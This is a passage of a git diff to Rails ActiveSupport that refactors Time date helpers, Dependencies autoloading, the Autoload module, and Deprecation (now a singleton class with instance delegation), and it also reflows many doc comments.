- # (hour, min, sec, usec) reset cascadingly, so if only the hour is passed, then minute, sec, and usec is set to 0. If the hour and
- # minute is passed, then sec and usec is set to 0.
+ # Returns a new Time where one or more of the elements have been changed according
+ # to the +options+ parameter. The time options (<tt>:hour</tt>, <tt>:min</tt>,
+ # <tt>:sec</tt>, <tt>:usec</tt>) reset cascadingly, so if only the hour is passed,
+ # then minute, sec, and usec is set to 0. If the hour and minute is passed, then
+ # sec and usec is set to 0. The +options+ parameter takes a hash with any of these
+ # keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:min</tt>,
+ # <tt>:sec</tt>, <tt>:usec</tt>.
+ #
+ # Time.new(2012, 8, 29, 22, 35, 0).change(day: 1) # => Time.new(2012, 8, 1, 22, 35, 0)
+ # Time.new(2012, 8, 29, 22, 35, 0).change(year: 1981, day: 1) # => Time.new(1981, 8, 1, 22, 35, 0)
+ # Time.new(2012, 8, 29, 22, 35, 0).change(year: 1981, hour: 0) # => Time.new(1981, 8, 29, 0, 0, 0)
def change(options)
new_year = options.fetch(:year, year)
new_month = options.fetch(:month, month)
@@ -146,116 +133,6 @@ class Time
end
alias :in :since
- # Returns a new Time representing the time a number of specified weeks ago.
- def weeks_ago(weeks)
- advance(:weeks => -weeks)
- end
-
- # Returns a new Time representing the time a number of specified months ago
- def months_ago(months)
- advance(:months => -months)
- end
-
- # Returns a new Time representing the time a number of specified months in the future
- def months_since(months)
- advance(:months => months)
- end
-
- # Returns a new Time representing the time a number of specified years ago
- def years_ago(years)
- advance(:years => -years)
- end
-
- # Returns a new Time representing the time a number of specified years in the future
- def years_since(years)
- advance(:years => years)
- end
-
- # Short-hand for years_ago(1)
- def prev_year
- years_ago(1)
- end
- alias_method :last_year, :prev_year
-
- # Short-hand for years_since(1)
- def next_year
- years_since(1)
- end
-
- # Short-hand for months_ago(1)
- def prev_month
- months_ago(1)
- end
- alias_method :last_month, :prev_month
-
- # Short-hand for months_since(1)
- def next_month
- months_since(1)
- end
-
- # Short-hand for months_ago(3)
- def prev_quarter
- months_ago(3)
- end
- alias_method :last_quarter, :prev_quarter
-
- # Short-hand for months_since(3)
- def next_quarter
- months_since(3)
- end
-
- # Returns number of days to start of this week, week starts on start_day (default is :monday).
- def days_to_week_start(start_day = :monday)
- start_day_number = DAYS_INTO_WEEK[start_day]
- current_day_number = wday != 0 ? wday - 1 : 6
- days_span = current_day_number - start_day_number
-
- days_span >= 0 ? days_span : 7 + days_span
- end
-
- # Returns a new Time representing the "start" of this week, week starts on start_day (default is :monday, i.e. Monday, 0:00).
- def beginning_of_week(start_day = :monday)
- days_to_start = days_to_week_start(start_day)
- (self - days_to_start.days).midnight
- end
- alias :at_beginning_of_week :beginning_of_week
-
- # Returns a new +Date+/+DateTime+ representing the start of this week. Week is
- # assumed to start on a Monday. +DateTime+ objects have their time set to 0:00.
- def monday
- beginning_of_week
- end
-
- # Returns a new Time representing the end of this week, week starts on start_day (default is :monday, i.e. end of Sunday).
- def end_of_week(start_day = :monday)
- days_to_end = 6 - days_to_week_start(start_day)
- (self + days_to_end.days).end_of_day
- end
- alias :at_end_of_week :end_of_week
-
- # Returns a new +Date+/+DateTime+ representing the end of this week. Week is
- # assumed to start on a Monday. +DateTime+ objects have their time set to 23:59:59.
- def sunday
- end_of_week
- end
-
- # Returns a new Time representing the start of the given day in the previous week (default is :monday).
- def prev_week(day = :monday)
- ago(1.week).
- beginning_of_week.
- since(DAYS_INTO_WEEK[day].day).
- change(:hour => 0)
- end
- alias_method :last_week, :prev_week
-
- # Returns a new Time representing the start of the given day in next week (default is :monday).
- def next_week(day = :monday)
- since(1.week).
- beginning_of_week.
- since(DAYS_INTO_WEEK[day].day).
- change(:hour => 0)
- end
-
# Returns a new Time representing the start of the day (0:00)
def beginning_of_day
#(self - seconds_since_midnight).change(:usec => 0)
@@ -290,77 +167,14 @@ class Time
)
end
- # Returns a new Time representing the start of the month (1st of the month, 0:00)
- def beginning_of_month
- #self - ((self.mday-1).days + self.seconds_since_midnight)
- change(:day => 1, :hour => 0)
- end
- alias :at_beginning_of_month :beginning_of_month
-
- # Returns a new Time representing the end of the month (end of the last day of the month)
- def end_of_month
- #self - ((self.mday-1).days + self.seconds_since_midnight)
- last_day = ::Time.days_in_month(month, year)
- change(
- :day => last_day,
- :hour => 23,
- :min => 59,
- :sec => 59,
- :usec => Rational(999999999, 1000)
- )
- end
- alias :at_end_of_month :end_of_month
-
- # Returns a new Time representing the start of the quarter (1st of january, april, july, october, 0:00)
- def beginning_of_quarter
- first_quarter_month = [10, 7, 4, 1].detect { |m| m <= month }
- beginning_of_month.change(:month => first_quarter_month)
- end
- alias :at_beginning_of_quarter :beginning_of_quarter
-
- # Returns a new Time representing the end of the quarter (end of the last day of march, june, september, december)
- def end_of_quarter
- last_quarter_month = [3, 6, 9, 12].detect { |m| m >= month }
- beginning_of_month.change(:month => last_quarter_month).end_of_month
- end
- alias :at_end_of_quarter :end_of_quarter
-
- # Returns a new Time representing the start of the year (1st of january, 0:00)
- def beginning_of_year
- change(:month => 1, :day => 1, :hour => 0)
- end
- alias :at_beginning_of_year :beginning_of_year
-
- # Returns a new Time representing the end of the year (end of the 31st of december)
- def end_of_year
- change(
- :month => 12,
- :day => 31,
- :hour => 23,
- :min => 59,
- :sec => 59,
- :usec => Rational(999999999, 1000)
- )
- end
- alias :at_end_of_year :end_of_year
-
- # Convenience method which returns a new Time representing the time 1 day ago
- def yesterday
- advance(:days => -1)
- end
-
- # Convenience method which returns a new Time representing the time 1 day since the instance time
- def tomorrow
- advance(:days => 1)
- end
-
# Returns a Range representing the whole day of the current time.
def all_day
beginning_of_day..end_of_day
end
- # Returns a Range representing the whole week of the current time. Week starts on start_day (default is :monday, i.e. end of Sunday).
- def all_week(start_day = :monday)
+ # Returns a Range representing the whole week of the current time.
+ # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
+ def all_week(start_day = Date.beginning_of_week)
beginning_of_week(start_day)..end_of_week(start_day)
end
diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb
index 10ca26acf2..48654eb1cc 100644
--- a/activesupport/lib/active_support/core_ext/time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/time/conversions.rb
@@ -23,17 +23,17 @@ class Time
#
# This method is aliased to <tt>to_s</tt>.
#
- # time = Time.now # => Thu Jan 18 06:10:17 CST 2007
+ # time = Time.now # => Thu Jan 18 06:10:17 CST 2007
#
- # time.to_formatted_s(:time) # => "06:10"
- # time.to_s(:time) # => "06:10"
+ # time.to_formatted_s(:time) # => "06:10"
+ # time.to_s(:time) # => "06:10"
#
- # time.to_formatted_s(:db) # => "2007-01-18 06:10:17"
- # time.to_formatted_s(:number) # => "20070118061017"
- # time.to_formatted_s(:short) # => "18 Jan 06:10"
- # time.to_formatted_s(:long) # => "January 18, 2007 06:10"
- # time.to_formatted_s(:long_ordinal) # => "January 18th, 2007 06:10"
- # time.to_formatted_s(:rfc822) # => "Thu, 18 Jan 2007 06:10:17 -0600"
+ # time.to_formatted_s(:db) # => "2007-01-18 06:10:17"
+ # time.to_formatted_s(:number) # => "20070118061017"
+ # time.to_formatted_s(:short) # => "18 Jan 06:10"
+ # time.to_formatted_s(:long) # => "January 18, 2007 06:10"
+ # time.to_formatted_s(:long_ordinal) # => "January 18th, 2007 06:10"
+ # time.to_formatted_s(:rfc822) # => "Thu, 18 Jan 2007 06:10:17 -0600"
#
# == Adding your own time formats to +to_formatted_s+
# You can add your own formats to the Time::DATE_FORMATS hash.
@@ -42,7 +42,7 @@ class Time
#
# # config/initializers/time_formats.rb
# Time::DATE_FORMATS[:month_and_year] = '%B %Y'
- # Time::DATE_FORMATS[:short_ordinal] = lambda { |time| time.strftime("%B #{time.day.ordinalize}") }
+ # Time::DATE_FORMATS[:short_ordinal] = ->(time) { time.strftime("%B #{time.day.ordinalize}") }
def to_formatted_s(format = :default)
if formatter = DATE_FORMATS[format]
formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
@@ -55,8 +55,8 @@ class Time
# Returns the UTC offset as an +HH:MM formatted string.
#
- # Time.local(2000).formatted_offset # => "-06:00"
- # Time.local(2000).formatted_offset(false) # => "-0600"
+ # Time.local(2000).formatted_offset # => "-06:00"
+ # Time.local(2000).formatted_offset(false) # => "-0600"
def formatted_offset(colon = true, alternate_utc_string = nil)
utc? && alternate_utc_string || ActiveSupport::TimeZone.seconds_to_utc_offset(utc_offset, colon)
end
diff --git a/activesupport/lib/active_support/core_ext/time/zones.rb b/activesupport/lib/active_support/core_ext/time/zones.rb
index 37bc3fae24..139d48f59c 100644
--- a/activesupport/lib/active_support/core_ext/time/zones.rb
+++ b/activesupport/lib/active_support/core_ext/time/zones.rb
@@ -76,8 +76,8 @@ class Time
# Returns the simultaneous time in <tt>Time.zone</tt>.
#
- # Time.zone = 'Hawaii' # => 'Hawaii'
- # Time.utc(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+ # Time.zone = 'Hawaii' # => 'Hawaii'
+ # Time.utc(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
#
# This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt> as the local zone
# instead of the operating system's time zone.
@@ -85,7 +85,7 @@ class Time
# You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument,
# and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
#
- # Time.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
+ # Time.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
def in_time_zone(zone = ::Time.zone)
if zone
ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb
index 77cab6f08d..42746582fa 100644
--- a/activesupport/lib/active_support/dependencies.rb
+++ b/activesupport/lib/active_support/dependencies.rb
@@ -43,8 +43,9 @@ module ActiveSupport #:nodoc:
mattr_accessor :autoload_once_paths
self.autoload_once_paths = []
- # An array of qualified constant names that have been loaded. Adding a name to
- # this array will cause it to be unloaded the next time Dependencies are cleared.
+ # An array of qualified constant names that have been loaded. Adding a name
+ # to this array will cause it to be unloaded the next time Dependencies are
+ # cleared.
mattr_accessor :autoloaded_constants
self.autoloaded_constants = []
@@ -53,30 +54,32 @@ module ActiveSupport #:nodoc:
mattr_accessor :explicitly_unloadable_constants
self.explicitly_unloadable_constants = []
- # The logger is used for generating information on the action run-time (including benchmarking) if available.
- # Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
+ # The logger is used for generating information on the action run-time
+ # (including benchmarking) if available. Can be set to nil for no logging.
+ # Compatible with both Ruby's own Logger and Log4r loggers.
mattr_accessor :logger
- # Set to true to enable logging of const_missing and file loads
+ # Set to +true+ to enable logging of const_missing and file loads.
mattr_accessor :log_activity
self.log_activity = false
- # The WatchStack keeps a stack of the modules being watched as files are loaded.
- # If a file in the process of being loaded (parent.rb) triggers the load of
- # another file (child.rb) the stack will ensure that child.rb handles the new
- # constants.
+ # The WatchStack keeps a stack of the modules being watched as files are
+ # loaded. If a file in the process of being loaded (parent.rb) triggers the
+ # load of another file (child.rb) the stack will ensure that child.rb
+ # handles the new constants.
#
# If child.rb is being autoloaded, its constants will be added to
# autoloaded_constants. If it was being `require`d, they will be discarded.
#
# This is handled by walking back up the watch stack and adding the constants
- # found by child.rb to the list of original constants in parent.rb
+ # found by child.rb to the list of original constants in parent.rb.
class WatchStack
include Enumerable
# @watching is a stack of lists of constants being watched. For instance,
- # if parent.rb is autoloaded, the stack will look like [[Object]]. If parent.rb
- # then requires namespace/child.rb, the stack will look like [[Object], [Namespace]].
+ # if parent.rb is autoloaded, the stack will look like [[Object]]. If
+ # parent.rb then requires namespace/child.rb, the stack will look like
+ # [[Object], [Namespace]].
def initialize
@watching = []
@@ -91,7 +94,8 @@ module ActiveSupport #:nodoc:
!@watching.empty?
end
- # return a list of new constants found since the last call to watch_namespaces
+ # Returns a list of new constants found since the last call to
+ # <tt>watch_namespaces</tt>.
def new_constants
constants = []
@@ -127,7 +131,8 @@ module ActiveSupport #:nodoc:
pop_modules(@watching.pop)
end
- # Add a set of modules to the watch stack, remembering the initial constants
+ # Add a set of modules to the watch stack, remembering the initial
+ # constants.
def watch_namespaces(namespaces)
@watching << namespaces.map do |namespace|
module_name = Dependencies.to_constant_name(namespace)
@@ -149,7 +154,7 @@ module ActiveSupport #:nodoc:
mattr_accessor :constant_watch_stack
self.constant_watch_stack = WatchStack.new
- # Module includes this module
+ # Module includes this module.
module ModuleConstMissing #:nodoc:
def self.append_features(base)
base.class_eval do
@@ -169,47 +174,12 @@ module ActiveSupport #:nodoc:
end
def const_missing(const_name)
- klass_name = name.presence || "Object"
-
- # Since Ruby does not pass the nesting at the point the unknown
- # constant triggered the callback we cannot fully emulate constant
- # name lookup and need to make a trade-off: we are going to assume
- # that the nesting in the body of Foo::Bar is [Foo::Bar, Foo] even
- # though it might not be. Counterexamples are
- #
- # class Foo::Bar
- # Module.nesting # => [Foo::Bar]
- # end
- #
- # or
- #
- # module M::N
- # module S::T
- # Module.nesting # => [S::T, M::N]
- # end
- # end
- #
- # for example.
- nesting = []
- klass_name.to_s.scan(/::|$/) { nesting.unshift $` }
-
- # If there are multiple levels of nesting to search under, the top
- # level is the one we want to report as the lookup fail.
- error = nil
-
- nesting.each do |namespace|
- begin
- return Dependencies.load_missing_constant Inflector.constantize(namespace), const_name
- rescue NoMethodError then raise
- rescue NameError => e
- error ||= e
- end
- end
-
- # Raise the first error for this set. If this const_missing came from an
- # earlier const_missing, this will result in the real error bubbling
- # all the way up
- raise error
+ # The interpreter does not pass nesting information, and in the
+ # case of anonymous modules we cannot even make the trade-off of
+ # assuming their name reflects the nesting. Resort to Object as
+ # the only meaningful guess we can make.
+ from_mod = anonymous? ? ::Object : self
+ Dependencies.load_missing_constant(from_mod, const_name)
end
def unloadable(const_desc = self)
@@ -217,7 +187,7 @@ module ActiveSupport #:nodoc:
end
end
- # Object includes this module
+ # Object includes this module.
module Loadable #:nodoc:
def self.exclude_from(base)
base.class_eval { define_method(:load, Kernel.instance_method(:load)) }
@@ -258,25 +228,25 @@ module ActiveSupport #:nodoc:
result
end
- # Mark the given constant as unloadable. Unloadable constants are removed each
- # time dependencies are cleared.
+ # Mark the given constant as unloadable. Unloadable constants are removed
+ # each time dependencies are cleared.
#
# Note that marking a constant for unloading need only be done once. Setup
# or init scripts may list each unloadable constant that may need unloading;
- # each constant will be removed for every subsequent clear, as opposed to for
- # the first clear.
+ # each constant will be removed for every subsequent clear, as opposed to
+ # for the first clear.
#
# The provided constant descriptor may be a (non-anonymous) module or class,
# or a qualified constant name as a string or symbol.
#
- # Returns true if the constant was not previously marked for unloading, false
- # otherwise.
+ # Returns +true+ if the constant was not previously marked for unloading,
+ # +false+ otherwise.
def unloadable(const_desc)
Dependencies.mark_for_unload const_desc
end
end
- # Exception file-blaming
+ # Exception file-blaming.
module Blamable #:nodoc:
def blame_file!(file)
(@blamed_files ||= []).unshift file
@@ -331,7 +301,7 @@ module ActiveSupport #:nodoc:
def require_or_load(file_name, const_path = nil)
log_call file_name, const_path
- file_name = $1 if file_name =~ /^(.*)\.rb$/
+ file_name = $` if file_name =~ /\.rb\z/
expanded = File.expand_path(file_name)
return if loaded.include?(expanded)
@@ -372,10 +342,11 @@ module ActiveSupport #:nodoc:
Object.qualified_const_defined?(path.sub(/^::/, ''), false)
end
- # Given +path+, a filesystem path to a ruby file, return an array of constant
- # paths which would cause Dependencies to attempt to load this file.
+ # Given +path+, a filesystem path to a ruby file, return an array of
+ # constant paths which would cause Dependencies to attempt to load this
+ # file.
def loadable_constants_for_path(path, bases = autoload_paths)
- path = $1 if path =~ /\A(.*)\.rb\Z/
+ path = $` if path =~ /\.rb\z/
expanded_path = File.expand_path(path)
paths = []
@@ -406,7 +377,8 @@ module ActiveSupport #:nodoc:
end
# Does the provided path_suffix correspond to an autoloadable module?
- # Instead of returning a boolean, the autoload base for this module is returned.
+ # Instead of returning a boolean, the autoload base for this module is
+ # returned.
def autoloadable_module?(path_suffix)
autoload_paths.each do |load_path|
return load_path if File.directory? File.join(load_path, path_suffix)
@@ -420,10 +392,10 @@ module ActiveSupport #:nodoc:
end
# Attempt to autoload the provided module name by searching for a directory
- # matching the expected path suffix. If found, the module is created and assigned
- # to +into+'s constants with the name +const_name+. Provided that the directory
- # was loaded from a reloadable base path, it is added to the set of constants
- # that are to be unloaded.
+ # matching the expected path suffix. If found, the module is created and
+ # assigned to +into+'s constants with the name +const_name+. Provided that
+ # the directory was loaded from a reloadable base path, it is added to the
+ # set of constants that are to be unloaded.
def autoload_module!(into, const_name, qualified_name, path_suffix)
return nil unless base_path = autoloadable_module?(path_suffix)
mod = Module.new
@@ -437,13 +409,13 @@ module ActiveSupport #:nodoc:
# addition of these constants. Each that is defined will be marked as
# autoloaded, and will be removed when Dependencies.clear is next called.
#
- # If the second parameter is left off, then Dependencies will construct a set
- # of names that the file at +path+ may define. See
+ # If the second parameter is left off, then Dependencies will construct a
+ # set of names that the file at +path+ may define. See
# +loadable_constants_for_path+ for more details.
def load_file(path, const_paths = loadable_constants_for_path(path))
log_call path, const_paths
const_paths = [const_paths].compact unless const_paths.is_a? Array
- parent_paths = const_paths.collect { |const_path| /(.*)::[^:]+\Z/ =~ const_path ? $1 : :Object }
+ parent_paths = const_paths.collect { |const_path| const_path[/.*(?=::)/] || :Object }
result = nil
newly_defined_paths = new_constants_in(*parent_paths) do
@@ -456,15 +428,15 @@ module ActiveSupport #:nodoc:
result
end
- # Return the constant path for the provided parent and constant name.
+ # Returns the constant path for the provided parent and constant name.
def qualified_name_for(mod, name)
mod_name = to_constant_name mod
mod_name == "Object" ? name.to_s : "#{mod_name}::#{name}"
end
# Load the constant named +const_name+ which is missing from +from_mod+. If
- # it is not possible to load the constant into from_mod, try its parent module
- # using const_missing.
+ # it is not possible to load the constant into from_mod, try its parent
+ # module using +const_missing+.
def load_missing_constant(from_mod, const_name)
log_call from_mod, const_name
@@ -479,10 +451,17 @@ module ActiveSupport #:nodoc:
file_path = search_for_file(path_suffix)
- if file_path && ! loaded.include?(File.expand_path(file_path)) # We found a matching file to load
- require_or_load file_path
- raise LoadError, "Expected #{file_path} to define #{qualified_name}" unless from_mod.const_defined?(const_name, false)
- return from_mod.const_get(const_name)
+ if file_path
+ expanded = File.expand_path(file_path)
+ expanded.sub!(/\.rb\z/, '')
+
+ if loaded.include?(expanded)
+ raise "Circular dependency detected while autoloading constant #{qualified_name}"
+ else
+ require_or_load(expanded)
+ raise LoadError, "Unable to autoload constant #{qualified_name}, expected #{file_path} to define it" unless from_mod.const_defined?(const_name, false)
+ return from_mod.const_get(const_name)
+ end
elsif mod = autoload_module!(from_mod, const_name, qualified_name, path_suffix)
return mod
elsif (parent = from_mod.parent) && parent != from_mod &&
@@ -492,6 +471,25 @@ module ActiveSupport #:nodoc:
# const_missing must be due to from_mod::const_name, which should not
# return constants from from_mod's parents.
begin
+ # Since Ruby does not pass the nesting at the point the unknown
+ # constant triggered the callback we cannot fully emulate constant
+ # name lookup and need to make a trade-off: we are going to assume
+ # that the nesting in the body of Foo::Bar is [Foo::Bar, Foo] even
+ # though it might not be. Counterexamples are
+ #
+ # class Foo::Bar
+ # Module.nesting # => [Foo::Bar]
+ # end
+ #
+ # or
+ #
+ # module M::N
+ # module S::T
+ # Module.nesting # => [S::T, M::N]
+ # end
+ # end
+ #
+ # for example.
return parent.const_missing(const_name)
rescue NameError => e
raise unless e.missing_name? qualified_name_for(parent, const_name)
@@ -567,7 +565,7 @@ module ActiveSupport #:nodoc:
end
# Get the reference for class named +name+ if one exists.
- # Otherwise returns nil.
+ # Otherwise returns +nil+.
def safe_constantize(name)
Reference.safe_get(name)
end
diff --git a/activesupport/lib/active_support/dependencies/autoload.rb b/activesupport/lib/active_support/dependencies/autoload.rb
index 4045db3232..9fc58a338f 100644
--- a/activesupport/lib/active_support/dependencies/autoload.rb
+++ b/activesupport/lib/active_support/dependencies/autoload.rb
@@ -1,52 +1,77 @@
require "active_support/inflector/methods"
module ActiveSupport
+ # Autoload and eager load conveniences for your library.
+ #
+ # This module allows you to define autoloads based on
+ # Rails conventions (i.e. no need to define the path
+ # it is automatically guessed based on the filename)
+ # and also define a set of constants that needs to be
+ # eager loaded:
+ #
+ # module MyLib
+ # extend ActiveSupport::Autoload
+ #
+ # autoload :Model
+ #
+ # eager_autoload do
+ # autoload :Cache
+ # end
+ # end
+ #
+ # Then your library can be eager loaded by simply calling:
+ #
+ # MyLib.eager_load!
module Autoload
- @@autoloads = {}
- @@under_path = nil
- @@at_path = nil
- @@eager_autoload = false
+ def self.extended(base) # :nodoc:
+ base.class_eval do
+ @_autoloads = {}
+ @_under_path = nil
+ @_at_path = nil
+ @_eager_autoload = false
+ end
+ end
- def autoload(const_name, path = @@at_path)
+ def autoload(const_name, path = @_at_path)
unless path
- full = [name, @@under_path, const_name.to_s, path].compact.join("::")
+ full = [name, @_under_path, const_name.to_s, path].compact.join("::")
path = Inflector.underscore(full)
end
- if @@eager_autoload
- @@autoloads[const_name] = path
+ if @_eager_autoload
+ @_autoloads[const_name] = path
end
super const_name, path
end
def autoload_under(path)
- @@under_path, old_path = path, @@under_path
+ @_under_path, old_path = path, @_under_path
yield
ensure
- @@under_path = old_path
+ @_under_path = old_path
end
def autoload_at(path)
- @@at_path, old_path = path, @@at_path
+ @_at_path, old_path = path, @_at_path
yield
ensure
- @@at_path = old_path
+ @_at_path = old_path
end
def eager_autoload
- old_eager, @@eager_autoload = @@eager_autoload, true
+ old_eager, @_eager_autoload = @_eager_autoload, true
yield
ensure
- @@eager_autoload = old_eager
+ @_eager_autoload = old_eager
end
- def self.eager_autoload!
- @@autoloads.values.each { |file| require file }
+ def eager_load!
+ @_autoloads.values.each { |file| require file }
end
def autoloads
- @@autoloads
+ @_autoloads
end
end
end
diff --git a/activesupport/lib/active_support/deprecation.rb b/activesupport/lib/active_support/deprecation.rb
index e3b4a7240e..b3f5fde335 100644
--- a/activesupport/lib/active_support/deprecation.rb
+++ b/activesupport/lib/active_support/deprecation.rb
@@ -1,19 +1,34 @@
require 'active_support/core_ext/module/deprecation'
+require 'active_support/deprecation/instance_delegator'
require 'active_support/deprecation/behaviors'
require 'active_support/deprecation/reporting'
require 'active_support/deprecation/method_wrappers'
require 'active_support/deprecation/proxy_wrappers'
+require 'singleton'
module ActiveSupport
- module Deprecation
- class << self
- # The version the deprecated behavior will be removed, by default.
- attr_accessor :deprecation_horizon
- end
- self.deprecation_horizon = '4.1'
+ # \Deprecation specifies the API used by Rails to deprecate methods, instance
+ # variables, objects and constants.
+ class Deprecation
+ include Singleton
+ include InstanceDelegator
+ include Behavior
+ include Reporting
+ include MethodWrapper
+
+ # The version the deprecated behavior will be removed, by default.
+ attr_accessor :deprecation_horizon
- # By default, warnings are not silenced and debugging is off.
- self.silenced = false
- self.debug = false
+ # It accepts two parameters on initialization. The first is an version of library
+ # and the second is an library name
+ #
+ # ActiveSupport::Deprecation.new('2.0', 'MyLibrary')
+ def initialize(deprecation_horizon = '4.1', gem_name = 'Rails')
+ self.gem_name = gem_name
+ self.deprecation_horizon = deprecation_horizon
+ # By default, warnings are not silenced and debugging is off.
+ self.silenced = false
+ self.debug = false
+ end
end
-end \ No newline at end of file
+end
diff --git a/activesupport/lib/active_support/deprecation/behaviors.rb b/activesupport/lib/active_support/deprecation/behaviors.rb
index fc962dcb57..90db180124 100644
--- a/activesupport/lib/active_support/deprecation/behaviors.rb
+++ b/activesupport/lib/active_support/deprecation/behaviors.rb
@@ -1,63 +1,63 @@
require "active_support/notifications"
module ActiveSupport
- module Deprecation
- class << self
+ class Deprecation
+ # Default warning behaviors per Rails.env.
+ DEFAULT_BEHAVIORS = {
+ :stderr => Proc.new { |message, callstack|
+ $stderr.puts(message)
+ $stderr.puts callstack.join("\n ") if debug
+ },
+ :log => Proc.new { |message, callstack|
+ logger =
+ if defined?(Rails) && Rails.logger
+ Rails.logger
+ else
+ require 'active_support/logger'
+ ActiveSupport::Logger.new($stderr)
+ end
+ logger.warn message
+ logger.debug callstack.join("\n ") if debug
+ },
+ :notify => Proc.new { |message, callstack|
+ ActiveSupport::Notifications.instrument("deprecation.rails",
+ :message => message, :callstack => callstack)
+ },
+ :silence => Proc.new { |message, callstack| }
+ }
+
+ module Behavior
# Whether to print a backtrace along with the warning.
attr_accessor :debug
- # Returns the current behavior or if one isn't set, defaults to +:stderr+
+ # Returns the current behavior or if one isn't set, defaults to +:stderr+.
def behavior
@behavior ||= [DEFAULT_BEHAVIORS[:stderr]]
end
- # Sets the behavior to the specified value. Can be a single value, array, or
- # an object that responds to +call+.
+ # Sets the behavior to the specified value. Can be a single value, array,
+ # or an object that responds to +call+.
#
# Available behaviors:
#
- # [+stderr+] Log all deprecation warnings to <tt>$stderr</tt>.
+ # [+stderr+] Log all deprecation warnings to +$stderr+.
# [+log+] Log all deprecation warnings to +Rails.logger+.
- # [+notify+] Use <tt>ActiveSupport::Notifications</tt> to notify +deprecation.rails+.
+ # [+notify+] Use +ActiveSupport::Notifications+ to notify +deprecation.rails+.
# [+silence+] Do nothing.
#
# Setting behaviors only affects deprecations that happen after boot time.
- # Deprecation warnings raised by gems are not affected by this setting because
- # they happen before Rails boots up.
+ # Deprecation warnings raised by gems are not affected by this setting
+ # because they happen before Rails boots up.
#
# ActiveSupport::Deprecation.behavior = :stderr
# ActiveSupport::Deprecation.behavior = [:stderr, :log]
# ActiveSupport::Deprecation.behavior = MyCustomHandler
- # ActiveSupport::Deprecation.behavior = proc { |message, callstack|
+ # ActiveSupport::Deprecation.behavior = proc { |message, callstack|
# # custom stuff
# }
def behavior=(behavior)
@behavior = Array(behavior).map { |b| DEFAULT_BEHAVIORS[b] || b }
end
end
-
- # Default warning behaviors per Rails.env.
- DEFAULT_BEHAVIORS = {
- :stderr => Proc.new { |message, callstack|
- $stderr.puts(message)
- $stderr.puts callstack.join("\n ") if debug
- },
- :log => Proc.new { |message, callstack|
- logger =
- if defined?(Rails) && Rails.logger
- Rails.logger
- else
- require 'active_support/logger'
- ActiveSupport::Logger.new($stderr)
- end
- logger.warn message
- logger.debug callstack.join("\n ") if debug
- },
- :notify => Proc.new { |message, callstack|
- ActiveSupport::Notifications.instrument("deprecation.rails",
- :message => message, :callstack => callstack)
- },
- :silence => Proc.new { |message, callstack| }
- }
end
end
diff --git a/activesupport/lib/active_support/deprecation/instance_delegator.rb b/activesupport/lib/active_support/deprecation/instance_delegator.rb
new file mode 100644
index 0000000000..ff240cb887
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/instance_delegator.rb
@@ -0,0 +1,24 @@
+require 'active_support/core_ext/kernel/singleton_class'
+require 'active_support/core_ext/module/delegation'
+
+module ActiveSupport
+ class Deprecation
+ module InstanceDelegator
+ def self.included(base)
+ base.extend(ClassMethods)
+ base.public_class_method :new
+ end
+
+ module ClassMethods
+ def include(included_module)
+ included_module.instance_methods.each { |m| method_added(m) }
+ super
+ end
+
+ def method_added(method_name)
+ singleton_class.delegate(method_name, to: :instance)
+ end
+ end
+ end
+ end
+end \ No newline at end of file
diff --git a/activesupport/lib/active_support/deprecation/method_wrappers.rb b/activesupport/lib/active_support/deprecation/method_wrappers.rb
index 257b70e34a..d3907b03e5 100644
--- a/activesupport/lib/active_support/deprecation/method_wrappers.rb
+++ b/activesupport/lib/active_support/deprecation/method_wrappers.rb
@@ -2,45 +2,41 @@ require 'active_support/core_ext/module/aliasing'
require 'active_support/core_ext/array/extract_options'
module ActiveSupport
- module Deprecation
- # Declare that a method has been deprecated.
- #
- # module Fred
- # extend self
- #
- # def foo; end
- # def bar; end
- # def baz; end
- # end
- #
- # ActiveSupport::Deprecation.deprecate_methods(Fred, :foo, bar: :qux, baz: 'use Bar#baz instead')
- # # => [:foo, :bar, :baz]
- #
- # Fred.foo
- # # => "DEPRECATION WARNING: foo is deprecated and will be removed from Rails 4.1."
- #
- # Fred.bar
- # # => "DEPRECATION WARNING: bar is deprecated and will be removed from Rails 4.1 (use qux instead)."
- #
- # Fred.baz
- # # => "DEPRECATION WARNING: baz is deprecated and will be removed from Rails 4.1 (use Bar#baz instead)."
- def self.deprecate_methods(target_module, *method_names)
- options = method_names.extract_options!
- method_names += options.keys
+ class Deprecation
+ module MethodWrapper
+ # Declare that a method has been deprecated.
+ #
+ # module Fred
+ # extend self
+ #
+ # def foo; end
+ # def bar; end
+ # def baz; end
+ # end
+ #
+ # ActiveSupport::Deprecation.deprecate_methods(Fred, :foo, bar: :qux, baz: 'use Bar#baz instead')
+ # # => [:foo, :bar, :baz]
+ #
+ # Fred.foo
+ # # => "DEPRECATION WARNING: foo is deprecated and will be removed from Rails 4.1."
+ #
+ # Fred.bar
+ # # => "DEPRECATION WARNING: bar is deprecated and will be removed from Rails 4.1 (use qux instead)."
+ #
+ # Fred.baz
+ # # => "DEPRECATION WARNING: baz is deprecated and will be removed from Rails 4.1 (use Bar#baz instead)."
+ def deprecate_methods(target_module, *method_names)
+ options = method_names.extract_options!
+ deprecator = options.delete(:deprecator) || ActiveSupport::Deprecation.instance
+ method_names += options.keys
- method_names.each do |method_name|
- target_module.alias_method_chain(method_name, :deprecation) do |target, punctuation|
- target_module.module_eval(<<-end_eval, __FILE__, __LINE__ + 1)
- def #{target}_with_deprecation#{punctuation}(*args, &block)
- ::ActiveSupport::Deprecation.warn(
- ::ActiveSupport::Deprecation.deprecated_method_warning(
- :#{method_name},
